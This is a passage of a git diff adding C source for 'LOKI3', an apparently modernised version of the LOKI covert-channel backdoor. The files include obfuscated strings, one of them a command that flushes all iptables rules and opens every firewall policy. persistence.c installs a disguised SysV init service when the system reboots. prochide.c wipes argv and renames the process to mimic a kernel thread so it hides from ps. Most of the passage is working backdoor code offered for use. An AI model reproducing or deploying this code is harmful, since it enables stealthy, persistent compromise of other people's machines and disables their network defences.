+ //encrypt("S_CMD_FLUSH_IPTABLES", "PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null");
+
+ //encrypt("S_MSG_CLIENT_DB_FULL", "\nlokid: Client database full");
+ //encrypt("S_MSG_EXPIRED_CLIENT", "\nlokid: inactive client <%d> expired from list [%d]\n");
+ //encrypt("S_MSG_CLIENTK", "\nlokid: clean exit (killed at client request)\n");
+ //encrypt("S_MSG_UNKNOWN", "\nlokid: cannot locate client entry in database\n");
+
+ //encrypt("S_MSG_CANNOT_CHDIR", "[fatal] cannot chdir to WORKING_ROOT");
+ //encrypt("S_MSG_CANNOT_DETACH_TERMINAL", "[fatal] cannot detach from controlling terminal");
+ //encrypt("S_MSG_CANNOT_CREATE_SESSION", "[fatal] Cannot create session");
+ //encrypt("S_MSG_CANNOT_DAEMONIZE", "[fatal] Cannot go daemon");
+ //encrypt("S_MSG_CANNOT_SIGNAL_PROCESS_GROUP", "[fatal] could not signal process group");
+ //encrypt("S_MSG_SENDING_L_QUIT", "\tsending L_QUIT: <%d> %s\n");
+ //encrypt("S_MSG_TRUNCATED_WRITE", "[non fatal] truncated write");
+ //encrypt("S_MSG_POPEN", "\nlokid: popen");
+ //encrypt("S_MSG_CLIENT_ALL_KILL", "\nlokid: client <%d> requested an all kill\n");
+ //encrypt("S_MSG_CLIENT_FREED", "\nlokid: client <%d> freed from list [%d]");
+ //encrypt("S_MSG_FORK_ERROR", "[fatal] forking error");
+ //encrypt("S_MSG_WIERDERR", "\n[SUPER fatal] control should NEVER fall here\n");
+
+ //encrypt("S_MSG_SHM_DETACH_ERROR", "[fatal] shared mem segment detach error");
+ //encrypt("S_MSG_CANNOT_DESTROY_SHMID", "[fatal] cannot destroy shmid");
+ //encrypt("S_MSG_CANNOT_DESTROY_SEMAPHORE", "[fatal] cannot destroy semaphore");
+ //encrypt("S_MSG_SHM_SEGMENT_ERROR", "[fatal] shared mem segment request error");
+ //encrypt("S_MSG_SEMAPHORE_ALLOCATION_ERROR", "[fatal] semaphore allocation error");
+ //encrypt("S_MSG_CANNOT_LOCK_MEMORY", "[fatal] could not lock memory");
+ //encrypt("S_MSG_CANNOT_UNLOCK_MEMORY", "[fatal] could not unlock memory");
+ //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD");
+ //encrypt("S_MSG_SIGUSR1", "[fatal] cannot catch SIGUSR1");
+ //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD");
+ //encrypt("S_MSG_SIGALRM", "[fatal] cannot catch SIGALRM");
+ //encrypt("S_MSG_SIGTERM", "[fatal] cannot catch SIGTERM");
+ //encrypt("S_MSG_ATEXIT", "[fatal] cannot register with atexit(2)");
+ //encrypt("S_MSG_IP_HDRINCL", "Cannot set IP_HDRINCL socket option");
+ //encrypt("S_MSG_SOCKET", "[fatal] socket allocation error");
+ //encrypt("S_MSG_UNKNOWN_TRANSPORT", "[fatal] Unknown transport\n");
+ //encrypt("S_MSG_NOPRIV", "\n[fatal] invalid user identification value");
+ //encrypt("S_MSG_CANNOT_SIGNAL_PARENT", "[fatal] could not signal parent");
+ //encrypt("S_MSG_CANNOT_ADD_KEY", "\nlokid: Cannot add key\n");
+ //encrypt("S_MSG_USAGE", "\nlokid -p (i|u) [ -v (0|1) ]\n");
+ //encrypt("S_MSG_UNSUP", "\nlokid: unsupported or unknown command string\n");
+ //encrypt("S_MSG_PROTOCOL_CHANGED", "lokid: transport protocol changed to %s\n");
+ //encrypt("S_MSG_SEND_PROTO_UPDATE", "\tsending protocol update: <%d> %s [%d]\n");
+ //encrypt("S_MSG_PROTOUPDATE", "\nlokid: client <%d> requested a protocol swap\n");
+ //encrypt("L_MSG_BANNER", "\nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n");
+ return EXIT_SUCCESS;
+}
diff --git a/persistence.c b/persistence.c
new file mode 100644
index 0000000..3d6a42c
--- /dev/null
+++ b/persistence.c
@@ -0,0 +1,117 @@
+/*
+ * LOKI3
+ *
+ * [ persistence.h ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#ifdef PERSISTENCE
+#include "loki.h"
+#include "persistence.h"
+
+
+extern estring S_SYSV_SERVICE;
+
+
+/*
+ * Generate a random string.
+ * Used the character set because it blended in with files in /bin:
+ * % strings * |grep ABC |sort |uniq -c |sort -n
+ * ...snip...
+ * 257 0123456789ABCDEF <--- pretty common alphanumeric string.
+ */
+static void random_string(char *dst, size_t len) {
+ char character_set[] = "0123456789ABCDEF";
+
+ while (len--) {
+ *dst++ = character_set[rand() % (sizeof(character_set) - 1)];
+ }
+
+ *dst = '\0';
+}
+
+static void random_string_range(char *dst, size_t lower, size_t upper) {
+ int len;
+
+ len = (rand() % (upper - lower + 1)) + lower;
+ random_string(dst, len);
+}
+
+
+/*
+ * SIGTERM handler. This will be caught when the `reboot` command is
+ * issued, or `kill our_pid_here`.
+ *
+ * This persistence sets up a SysV service when SIGTERM is caught. reboot
+ * and init 6 first attempt to send all process the SIGTERM signal so they
+ * may gracefully exit. We take advantage of this and gracefully exit by
+ * installing persistence.
+ */
+void handle_sigterm(int signo) {
+ /* create init script and symlinks */
+ FILE *fp;
+ char self[PATH_MAX + 1];
+ char service_name[16];
+ char str[8192];
+ char *dbuf;
+ size_t n;
+
+
+ random_string_range(service_name, 4, sizeof(service_name));
+
+ fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this
+ if (fp == NULL) {
+ perror("fopen");
+ return;
+ }
+
+ n = readlink("/proc/self/exe", self, sizeof(self));
+ if (n == -1) {
+ perror("readlink");
+ return;
+ }
+
+ dbuf = decrypt(S_SYSV_SERVICE);
+ snprintf(str, sizeof(str), dbuf,
+ /* "#!/bin/sh\n" */
+ /* "### BEGIN INIT INFO\n" */
+ /* "# Provides: %s\n" */
+ /* "# Default-Start: 2 3 4 5\n" */
+ /* "# Default-Stop: 0 1 6\n" */
+ /* "# Short-Description: %s\n" */
+ /* "# Description: %s\n" */
+ /* "### END INIT INFO\n\n" */
+ /* "case \"$1\" in\n" */
+ /* " start)\n" */
+ /* " %s &\n" */
+ /* " ;;\n" */
+ /* "esac\n" */
+ /* "exit 0\n", */
+ service_name, service_name, service_name, self);
+ destroy(dbuf, S_SYSV_SERVICE.size);
+
+ fputs(str, fp);
+
+ // TODO error checking
+ chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
+ symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these
+ symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY);
+ symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY);
+ symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY);
+
+ fclose(fp);
+}
+
+/*
+ * Remove persistence files and symlinks.
+ */
+void unlink_persistence() {
+ // TODO error checking
+ unlink(INIT_SCRIPT);
+ unlink("/etc/rc2.d/" PRIORITY);
+ unlink("/etc/rc3.d/" PRIORITY);
+ unlink("/etc/rc4.d/" PRIORITY);
+ unlink("/etc/rc5.d/" PRIORITY);
+}
+#endif /* PERSISTENCE */
diff --git a/persistence.h b/persistence.h
new file mode 100644
index 0000000..21c582f
--- /dev/null
+++ b/persistence.h
@@ -0,0 +1,25 @@
+/*
+ * LOKI3
+ *
+ * [ persistence.h ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#ifdef PERSISTENCE
+
+#include <stdio.h>
+#include <signal.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <limits.h>
+
+#include "loki.h"
+
+#define INIT_SCRIPT "/etc/init.d/foo"
+#define PRIORITY "S99foo"
+
+#endif /* PERSISTENCE */
+
+/* EOF */
diff --git a/prochide.c b/prochide.c
new file mode 100644
index 0000000..951ec35
--- /dev/null
+++ b/prochide.c
@@ -0,0 +1,146 @@
+/*
+ * LOKI3
+ *
+ * [ prochide.c ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ *
+ * Observations:
+ * - On Linux, prctl() will not change the output of `ps`
+ * - `killall lokid won't work against './lokid' after prctl(),
+ * however it will work against whatever name you set with prctl().
+ * - argv[] needs to be overwritten to hide from `ps`
+ * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl()
+ * - prctl() is not portable
+ * - zeroing out argv[0] on Linux makes ps show a blank process
+ * - invoking lokid with full path gives more room to play with argv[0]
+ */
+
+#include <stdbool.h>
+#include <string.h>
+#include <limits.h>
+#include <dirent.h>
+#include <time.h>
+#include <sys/types.h>
+#ifdef LINUX
+#include <sys/prctl.h>
+#endif /* LINUX */
+
+#include "loki.h"
+#include "prochide.h"
+
+
+#define DEFAULT_PROCNAME "atd" /* Default to a small name */
+
+struct thread_names {
+ char name[PATH_MAX];
+ int max;
+};
+
+
+bool string_is_number(const char *str) {
+ return (strspn(str, "0123456789") == strlen(str)) ? true : false;
+}
+
+
+bool prochide(int argc, char *argv[]) {
+ int i;
+ size_t len;
+ char progname[PATH_MAX];
+ DIR *dirp;
+ struct dirent *de;
+ struct thread_names tnames[10];
+
+ /* Zero out thread names array */
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ memset(tnames[i].name, 0, sizeof(tnames[i].name));
+ tnames[i].max = 0;
+ }
+
+ srand(time(NULL));
+
+ /* TODO This is not working on Solaris */
+ snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME);
+
+ len = strlen(argv[0]);
+
+ /* Find a random, suitable kernel thread name to mimick. */
+ dirp = opendir("/proc");
+ if (dirp != NULL) { /* /proc exists */
+ while ((de = readdir(dirp)) != NULL) {
+ if (de->d_type == DT_DIR && string_is_number(de->d_name)) {
+ FILE *fp;
+ char buf[PATH_MAX] = {0};
+ char commfile[PATH_MAX] = {0};
+
+ /* Read contents of /proc/PID/comm into buf */
+ snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name);
+ if ((fp = fopen(commfile, "r")) != NULL) {
+ fgets(buf, sizeof(buf), fp);
+ fclose(fp);
+ } else {
+ continue;
+ }
+
+ if (strlen(buf) > (len - 2)) // account for []
+ continue;
+
+ /* Determine if current process's name is suitable */
+ char b[PATH_MAX];
+ char r[PATH_MAX];
+ int d;
+
+ /* We want only string/X, not string/X-foo */
+ if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2)
+ continue;
+
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ /* End of array and string not seen yet */
+ if (strlen(tnames[i].name) == 0) {
+ memcpy(tnames[i].name, b, strlen(b));
+ tnames[i].max = d;
+ break;
+ }
+
+ /* Check if we have already seen this thread name */
+ if (strcmp(b, tnames[i].name) == 0) {
+ if (d > tnames[i].max)
+ tnames[i].max = d;
+ break;
+ }
+ }
+ }
+ }
+
+ closedir(dirp);
+
+ /* Determine number of entries in tnames */
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ if (tnames[i].max == 0)
+ break;
+ }
+
+ /* Use random tname member */
+ if (i < 0) {
+ int r = rand() % i;
+ snprintf(progname, sizeof(progname),
+ "[%s/%d]", tnames[r].name, tnames[r].max + 1);
+ }
+ }
+
+ memset(argv[0], 0, len);
+ memcpy(argv[0], progname, len);
+
+ /* Zero out remaining command line arguments */
+ for (i = 1; i < argc; i++) {
+ memset(argv[i], 0, strlen(argv[i]));
+ }
+
+#ifdef LINUX
+ prctl(PR_SET_NAME, progname, 0, 0, 0);
+#endif /* LINUX */
+
+ return true;
+}
+
+/* EOF */
diff --git a/prochide.h b/prochide.h
new file mode 100644
index 0000000..a23fb9b
--- /dev/null
+++ b/prochide.h
@@ -0,0 +1,13 @@
+/*
+ * LOKI3
+ *
+ * [ prochide.h ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#include <stdbool.h>
+
+bool prochide(int argc, char *argv[]);
+
+/* EOF */
diff --git a/shm.c b/shm.c
new file mode 100644
index 0000000..c20d3c5
--- /dev/null
+++ b/shm.c
@@ -0,0 +1,114 @@
+/*
+ * LOKI3
+ *
+ * [ shm.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+#include "client_db.h"
+#include "shm.h"
+
+extern struct loki rdg;
+extern int verbose;
+extern int destroy_shm;
+struct client_list *client = 0;
+
+int semid;
+
+
+/*
+ * Obfuscated strings
+ */
+extern estring S_MSG_SHM_DETACH_ERROR;
+extern estring S_MSG_CANNOT_DESTROY_SHMID;
+extern estring S_MSG_CANNOT_DESTROY_SEMAPHORE;
+extern estring S_MSG_SHM_SEGMENT_ERROR;
+extern estring S_MSG_SEMAPHORE_ALLOCATION_ERROR;
+extern estring S_MSG_CANNOT_LOCK_MEMORY;
+extern estring S_MSG_CANNOT_UNLOCK_MEMORY;
+
+/*
+ * Prepare shared memory and semaphoreg
+ */
+void prep_shm() {
+ key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */
+ key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */
+ int shmid, len = sizeof(struct client_list) * MAX_CLIENT;
+
+ /* Request a shared memory segment */
+ if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SHM_SEGMENT_ERROR));
+ }
+
+ /* Get SET_SIZE semaphore to perform shared memory locking with */
+ if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SEMAPHORE_ALLOCATION_ERROR));
+ }
+
+ /* Attach pointer to the shared memory segment */
+ client = (struct client_list *) shmat(shmid, NULL, 0);
+
+ /* clear the database */
+ for (int i = 0; i < MAX_CLIENT; i++) {
+ bzero(&client[i], sizeof(client[i]));
+ }
+}
+
+
+/*
+ * Locks the semaphore so the caller can access the shared memory segment.
+ * This is an atomic operation.
+ */
+void locks() {
+ struct sembuf lock[2] = {
+ {0, 0, 0},
+ {0, 1, SEM_UNDO}
+ };
+
+ if (semop(semid, &lock[0], 2) < 0) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_LOCK_MEMORY));
+ }
+}
+
+
+/*
+ * Unlocks the semaphore so the caller can access the shared memory segment.
+ * This is an atomic operation.
+ */
+void ulocks() {
+ struct sembuf ulock[1] = {
+ { 0, -1, (IPC_NOWAIT | SEM_UNDO) }
+ };
+
+ if (semop(semid, &ulock[0], 1) < 0) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_UNLOCK_MEMORY));
+ }
+}
+
+
+/*
+ * Release the shared memory segment.
+ */
+void dump_shm() {
+ locks();
+
+ if ((shmdt((uint8_t *)client)) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SHM_DETACH_ERROR));
+ }
+
+ if (destroy_shm == OK) {
+ if ((shmctl(semid, IPC_RMID, NULL)) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SHMID));
+ }
+
+ if ((semctl(semid, IPC_RMID, 0, NULL)) == -1) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SEMAPHORE));
+ }
+ }
+
+ ulocks();
+}
+
+/* EOF */
diff --git a/shm.h b/shm.h
new file mode 100644
index 0000000..1b759a5
--- /dev/null
+++ b/shm.h
@@ -0,0 +1,18 @@
+/*
+ * LOKI
+ *
+ * shm header file
+ *
+ * 1996/7 Guild Corporation Productions [daemon9]
+ */
+
+#define SHM_KEY 242 /* Shared memory key */
+#define SEM_KEY 424 /* Semaphore key */
+#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */
+#define SET_SIZE 1
+
+void prep_shm(); /* prepare shared mem segment */
+void locks(); /* lock shared memory */
+void ulocks(); /* unlock shared memory */
+void dump_shm(); /* release shared memory */
+
diff --git a/surplus.c b/surplus.c
new file mode 100644
index 0000000..6dfbea4
--- /dev/null
+++ b/surplus.c
@@ -0,0 +1,201 @@
+/*
+ * LOKI3
+ *
+ * [ surplus.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+
+extern int verbose;
+extern jmp_buf env;
+
+
+/*
+ * Domain names / dotted-decimals --> network byte order.
+ */
+uint32_t name_resolve(char *hostname) {
+ struct in_addr addr;
+ struct hostent *hostEnt;
+
+ /* name lookup failure */
+ if ((addr.s_addr = inet_addr(hostname)) == -1) {
+ if (!(hostEnt = gethostbyname(hostname))) {
+ return 0; // TODO this probably isnt right.
+ }
+
+ bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
+ }
+
+ return addr.s_addr;
+}
+
+
+/*
+ * Network byte order --> dotted-decimals.
+ */
+char *host_lookup(uint32_t in) {
+ char hostname[BUFSIZ] = {0};
+ struct in_addr addr;
+
+ addr.s_addr = in;
+ strcpy(hostname, inet_ntoa(addr));
+
+ return strdup(hostname);
+}
+
+#ifdef X86FAST_CHECK
+
+/*
+ * Fast x86 based assembly implementation of the IP checksum routine.
+ * TODO: Do we still need this?
+ */
+u_short i_check(u_short *buff, int len) {
+ u_long sum = 0;
+ if (len > 3) {
+ __asm__("clc\n"
+ "1:\t"
+ "lodsl\n\t"
+ "adcl %%eax, %%ebx\n\t"
+ "loop 1b\n\t"
+ "adcl $0, %%ebx\n\t"
+ "movl %%ebx, %%eax\n\t"
+ "shrl $16, %%eax\n\t"
+ "addw %%ax, %%bx\n\t"
+ "adcw $0, %%bx"
+ : "=b" (sum) , "=S" (buff)
+ : "0" (sum), "c" (len >> 2) ,"1" (buff)
+ : "ax", "cx", "si", "bx");
+ }
+ if (len & 2) {
+ __asm__("lodsw\n\t"
+ "addw %%ax, %%bx\n\t"
+ "adcw $0, %%bx"
+ : "=b" (sum) , "=S" (buff)
+ : "0" (sum), "c" (len >> 2) ,"1" (buff)
+ : "ax", "cx", "si", "bx");
+ }
+ if (len & 2) {
+ __asm__("lodsw\n\t"
+ "addw %%ax, %%bx\n\t"
+ "adcw $0, %%bx"
+ : "=b" (sum), "=S" (buff)
+ : "0" (sum), "1" (buff)
+ : "bx", "ax", "si");
+ }
+ if (len & 1) {
+ __asm__("lodsb\n\t"
+ "movb $0, %%ah\n\t"
+ "addw %%ax, %%bx\n\t"
+ "adcw $0, %%bx"
+ : "=b" (sum), "=S" (buff)
+ : "0" (sum), "1" (buff)
+ : "bx", "ax", "si");
+ }
+ if (len & 1) {
+ __asm__("lodsb\n\t"
+ "movb $0, %%ah\n\t"
+ "addw %%ax, %%bx\n\t"
+ "adcw $0, %%bx"
+ : "=b" (sum), "=S" (buff)
+ : "0" (sum), "1" (buff)
+ : "bx", "ax", "si");
+ }
+ sum = ~sum;
+ return (sum & 0xffff);
+}
+
+#else
+
+/*
+ * Standard IP Family checksum routine.
+ */
+uint16_t i_check(uint16_t *ptr, int nbytes) {
+ register long sum = 0;
+ uint16_t oddbyte = 0;
+ register uint16_t answer = 0;
+
+ while (nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if (nbytes == 1) {
+ oddbyte = 0;
+ *((uint8_t *)&oddbyte) =* (uint8_t *)ptr;
+ sum += oddbyte;
+ }
+ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
+ sum += (sum >> 16);
+ answer = ~sum;
+ return answer;
+}
+#endif /* X86FAST_CHECK */
+
+
+/*
+ * Generic exit with error function. If checkerrno is true, errno should
+ * be looked at and we call perror, otherwise, just dump to stderr.
+ * Additionally, we have the option of suppressing the error messages by
+ * zeroing verbose.
+ */
+void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr) {
+ if (verbalkint) {
+ if (checkerrno) {
+ perror(errstr);
+ } else {
+ fprintf(stderr, "%s\n", errstr);
+ }
+ }
+
+ clean_exit(exitstatus);
+}
+
+
+/*
+ * Clean exit handler
+ */
+void clean_exit(int status) {
+ extern int tsock;
+ extern int ripsock;
+
+ close(ripsock);
+ close(tsock);
+ exit(status);
+}
+
+
+#ifdef DEBUG
+/*
+ * Bulk of this function taken from Stevens APUE...
+ * got this from Mooks (LTC)
+ */
+void fd_status(int fd, int newline) {
+ int accmode = 0, val = 0;
+
+ val = fcntl(fd, F_GETFL, 0);
+
+#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
+ accmode = val & O_ACCMODE;
+#else /* pyramid */
+ accmode = val; /* kludge */
+#endif /* pyramid */
+ if (accmode == O_RDONLY) fprintf(stderr, " read only");
+ else if (accmode == O_WRONLY) fprintf(stderr, " write only");
+ else if (accmode == O_RDWR) fprintf(stderr, " read write");
+ if (val & O_APPEND) fprintf(stderr, " append");
+ if (val & O_NONBLOCK) fprintf(stderr, " nonblocking");
+ else fprintf(stderr, " blocking");
+#if defined(O_SYNC)
+ if (val & O_SYNC) fprintf(stderr, " sync writes");
+#else
+#if defined(O_FSYNC)
+ if (val & O_FSYNC) fprintf(stderr, " sync writes");
+#endif /* O_FSYNC */
+#endif /* O_SYNC */
+ if (newline) fprintf(stderr, "\r\n");
+}
+#endif /* DEBUG */
+
+/* EOF */